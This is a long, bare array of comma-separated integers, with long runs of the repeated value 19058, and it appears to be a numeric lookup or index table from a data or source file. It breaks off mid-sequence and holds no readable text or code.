58,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22675,22811,19457,36866,17466,36890,36866,19133,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,22827,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36139,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36064,19288,22865,22881,32031,22897,22913,22956,29939,24035,24035,24035,23003,23114,23114,23114,23024,22420,23511,23511,23511,23052,29116,23073,29268,24035,25563,26915,23106,23131,23114,23114,23159,23181,23197,23248,23511,23511,23282,23305,22493,32364,24035,33472,30138,26325,31770,33508,27345,33667,23114,23321,23473,23351,35793,36576,23511,23375,22500,24145,24035,29197,20192,24533,23440,23114,19017,23459,22839,23489,23510,23511,33563,23528,32076,25389,24035,26576,23561,23583,23114,32683,22516,23622,23655,23511,23634,35456,37144,23110,23683,34153,20499,32513,25824,23705,24035,24035,23111,23114,19874,27078,33263,19830,24035,23112,19872,27741,23266,24036,23114,30243,20507,32241,20150,31862,27464,35108,23727,23007,35895,34953,26578,27685,20141,24569,31691,19787,33967,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36427,19552,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29116,19803,24035,24035,24035,27027,26576,23114,23114,23114,31471,23756,22468,23511,23511,23511,34687,23772,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,23788,24035,24035,24035,21559,23828,23114,23114,23114,25086,22839,23853,23511,23511,23511,23876,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,31761,23909,23953,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36049,19288,21605,30825,23112,23987,23511,24003,31001,27617,24034,24035,24036,24052,24089,23114,23114,22420,24109,24168,23511,23511,29116,24188,27609,20017,29516,24035,26576,24222,19968,23114,24252,33811,22468,24270,33587,23511,24320,27443,22493,24035,24035,24035,24035,24339,23113,23114,23114,23114,28128,28618,29700,23511,23511,23511,28276,34564,20402,24035,24035,32929,24036,23114,23114,23114,24357,23029,22839,23511,23511,23511,24377,25645,24035,34112,24035,26576,23114,26643,23114,32683,22516,23511,25638,23511,23711,24035,24395,27809,23114,24414,20499,24432,30917,23628,24035,30680,23111,23114,30233,27078,25748,24452,24035,23112,19872,27741,23266,24036,23114,24475,19829,26577,26597,26154,24519,24556,24596,23007,20046,20132,26578,24634,20141,24569,31691,24679,24727,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36412,19288,21605,19943,34861,32618,26027,29483,32016,32050,36233,24776,35574,24801,24819,32671,31289,22420,24868,24886,20087,26849,29116,19803,24035,24035,24035,36228,26576,23114,23114,23114,24981,33811,22468,23511,23511,23511,29028,27443,22493,24923,27965,24035,24035,32797,24946,23443,23114,23114,29636,24997,22849,28252,23511,23511,23511,25042,25110,24035,24035,34085,24036,25133,23114,23114,25152,23029,22839,25169,23511,36764,23511,25645,30403,24035,25186,26576,31806,24093,25212,32683,22516,32713,26245,34293,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,32406,23111,23114,28676,30944,27689,25234,24035,23112,19872,37063,23266,24036,23114,30243,20379,26100,29218,20211,30105,25257,25284,23007,20046,20132,26578,27685,20141,24569,24834,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36034,19288,21671,25314,25072,25330,25346,25362,29939,29951,35288,29984,23812,27216,25405,25424,30456,22584,26292,25461,25480,31592,29116,25516,34963,25545,27007,25579,33937,25614,25661,25686,34872,25702,25718,25734,25769,25795,25811,25840,22493,26533,25856,24035,25876,30763,27481,25909,23114,28987,25936,25954,29700,25983,23511,31412,26043,26063,22568,29241,29592,26116,31216,35383,26170,34783,26194,26221,22839,26241,26261,22477,26283,26308,27306,31035,24655,26576,29854,33386,26341,32683,22516,32153,30926,26361,19996,26381,35463,26397,26424,34646,26478,35605,31386,26494,35567,31964,22940,23689,25218,30309,32289,19830,33605,23112,32109,27733,27084,24496,35886,35221,26525,36602,26549,26558,26574,26594,26613,26629,26666,26700,26578,27685,23740,24285,31691,26733,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36397,19552,18991,25887,28117,32618,26776,29483,29939,26802,24035,24035,24036,28664,23114,23114,23114,22420,30297,23511,23511,23511,29116,19803,24035,24035,24035,25559,26576,23114,23114,23114,30525,33811,22468,23511,23511,23511,28725,27443,22493,24035,24035,27249,24035,24035,23113,23114,23114,26827,23114,28618,29700,23511,23511,26845,23511,34564,20402,24035,24035,26979,24036,23114,23114,23114,24974,23029,22839,23511,23511,23511,26865,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,33305,24035,25598,23114,19874,34253,27689,19830,24035,23112,19872,27741,23266,24036,23114,26886,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,26931,24569,26439,26947,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36019,19288,26995,24035,23112,32618,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,27043,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,27061,23511,23511,23511,23511,23512,24694,24035,24035,29978,24035,24035,23113,23114,33114,23114,23114,30010,29700,23511,35913,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,27155,26576,23114,23114,30447,23036,29695,23511,23511,30935,20099,24152,25529,27100,34461,27121,22625,29156,26009,27137,30422,31903,31655,28870,27171,32439,31731,19830,27232,22612,27265,26786,25494,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,20342,27288,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,27322,27339,28020,27361,27382,29939,24035,24035,32581,24036,23114,23114,23114,27425,22420,23511,23511,23511,27442,28306,19803,24035,24035,24035,24035,26710,23114,23114,23114,23114,32261,22468,23511,23511,23511,23511,35719,24694,29510,24035,24035,24035,24035,26717,23114,23114,23114,23114,28618,32217,23511,23511,23511,23511,34585,20402,24035,24035,24035,27459,23114,23114,23114,36252,23029,20271,23511,23511,23511,28840,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,27480,34483,28401,29761,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36382,19288,21605,27497,27517,28504,28898,27569,29939,29401,27600,27323,27633,19025,27662,23114,27705,22420,20483,27721,23511,27765,28306,19803,23540,24035,24610,27781,27805,26650,23114,28573,32990,25920,22468,26870,23511,26684,34262,34737,25057,34622,24035,24035,23971,24206,27825,27847,23114,23114,27865,27885,35766,27914,23511,23511,32766,32844,27934,28795,26909,27955,26092,27988,25445,28005,28036,28052,21965,23511,32196,19897,28072,28102,36534,21541,23801,28153,28180,28197,28221,23036,32695,28251,28268,28292,23667,34825,23930,24580,28322,28344,31627,28366,25996,23628,24035,24035,23111,23114,19874,27078,27689,35625,33477,33359,27674,28393,33992,24036,23114,30243,19829,28417,28433,28463,23008,19876,20208,23007,20046,20132,28489,28520,20141,24569,31691,19787,28550,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,24694,28589,24035,24035,24035,24035,28608,23114,23114,23114,23114,28618,20431,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36004,19288,28634,31951,28565,28702,28718,28741,32544,20175,28792,32086,20105,28811,29059,29862,28856,22420,28886,30354,23359,28922,28306,28952,23888,26320,36506,24035,29331,28968,36609,23114,29003,31661,27061,30649,27366,23511,29023,27918,24694,24035,24035,23893,33094,30867,23113,23114,23114,29044,34184,30010,29700,23511,23511,29081,29102,34585,20402,27789,24035,24035,24036,23114,29132,23114,23114,23029,20271,23511,29153,23511,23511,30562,30174,24035,24035,27409,25438,23114,23114,29172,36668,31332,23511,23511,29192,30144,24035,23110,30203,23114,23467,31544,23261,23628,24035,22545,23111,23114,29213,27078,27689,29234,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,29257,23008,19876,20208,28768,29290,29320,34776,29353,20141,22435,29378,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36367,19288,21605,34616,19006,32618,31497,31507,36216,20184,24035,34393,29424,34668,23114,34900,29447,22420,30360,23511,37089,29473,28306,19803,29499,24398,24035,24035,26576,31799,29532,29550,23114,33811,22468,32298,29571,31184,23511,23512,37127,36628,29589,24035,24135,24035,23113,29608,23114,27831,29634,28618,29652,30037,23511,24172,29671,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,29555,29690,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,29719,24035,23110,29738,23114,23467,34035,29756,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,29777,34364,28181,30243,29799,31920,27272,27185,23008,31126,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29828,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35989,19552,19687,35139,28649,29878,29894,29924,29939,23224,23085,31969,24036,35173,24752,24803,23114,22420,31190,30318,24870,23511,28306,29967,23967,24035,24035,24035,26576,3e4,23114,23114,23114,33811,22468,30026,23511,23511,23511,23512,26078,24035,24035,24035,30053,37137,30071,23114,23114,33368,25136,28618,30723,23511,23511,37096,31356,34585,20402,30092,30127,30160,24036,35740,30219,24960,30259,23029,20271,34042,30285,30342,30376,23289,30055,30400,30419,30438,32640,33532,33514,30472,18792,26267,24323,23057,30493,23639,20008,30196,33188,30517,20075,23511,30541,23628,30578,33928,28776,30594,19874,30610,30637,19830,30677,27646,19872,25779,23266,23232,35016,30243,30696,29812,30712,30746,27206,30779,30807,23007,33395,20132,26578,27685,31703,22928,31691,19787,31079,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36352,19288,23335,30841,26131,30888,30904,30986,29939,24035,24704,31017,20025,23114,26178,31051,31095,22420,23511,22524,31142,31172,28534,31206,35497,25196,24035,28592,24503,23114,31239,31285,23114,31305,31321,31355,31372,31407,23511,30556,24694,24035,27501,19805,24035,24035,23113,23114,31428,24066,23114,28618,29700,23511,31837,18809,23511,34585,31448,24035,24035,24035,23090,23114,23114,23114,23114,31619,35038,23511,23511,23511,23511,33714,24035,33085,24035,29431,23114,31467,23114,23143,31487,23511,31523,23511,35195,36783,24035,30111,23567,23114,23467,31543,31560,23628,24035,24035,23111,23114,19874,30953,31584,34508,24035,31608,26345,37055,23266,31643,31677,31719,31747,31786,31822,26898,23008,19876,31859,23007,20046,20132,26578,27685,20141,24569,31691,31878,31936,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35974,19288,21605,27972,35663,31985,29655,32001,36715,24785,25893,23545,31912,19853,19916,25938,24540,22420,31843,29674,29573,32735,28936,19803,24035,24035,32047,24035,26576,23114,23114,27544,23114,33811,22468,23511,23511,32161,23511,23512,32066,24035,33313,24035,24035,24035,23113,27426,32102,23114,23114,28618,32125,23511,32144,23511,23511,33569,20402,24035,27045,24035,24036,23114,23114,28328,23114,30076,32177,23511,23511,30384,23511,30562,24035,24035,24035,26576,23114,23114,23114,23595,32212,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,22635,25753,32233,32257,32277,19829,26577,26597,20211,23008,19876,32322,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,32352,35285,32380,34196,33016,30661,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,32404,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,32422,23511,23511,23511,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,30269,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,19949,24035,23111,32455,19874,31269,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36337,19552,19209,21617,26509,32475,32491,32529,29939,24035,32578,25241,32597,23114,32634,29007,32656,22420,23511,32729,26365,32751,28306,32788,32882,24035,24035,32813,36727,23114,33182,23114,27553,33235,32829,23511,32706,23511,28906,28377,26962,32881,32904,32898,32920,24035,32953,23114,32977,26408,23114,28164,33006,23511,33039,35774,23511,32306,20402,33076,30872,24035,24036,25408,33110,28979,23114,23029,20271,35835,33130,33054,23511,30562,33148,24035,24035,33167,23114,23114,33775,23036,20459,23511,23511,25464,24646,24035,24035,22446,23114,23114,25627,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,31391,33204,33220,33251,33287,26577,26597,20211,33329,19876,33345,23007,20046,20132,26578,27685,28473,22599,31691,33411,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35959,19288,21907,27243,29843,32618,33427,31507,29939,33460,34090,24035,24036,33493,24416,33530,23114,22420,33548,24379,33585,23511,28306,19803,33603,24202,24035,24035,25593,33749,28205,23114,23114,32388,22468,33853,33060,23511,23511,31339,33621,24035,24035,34397,24618,30757,33663,23114,23114,33683,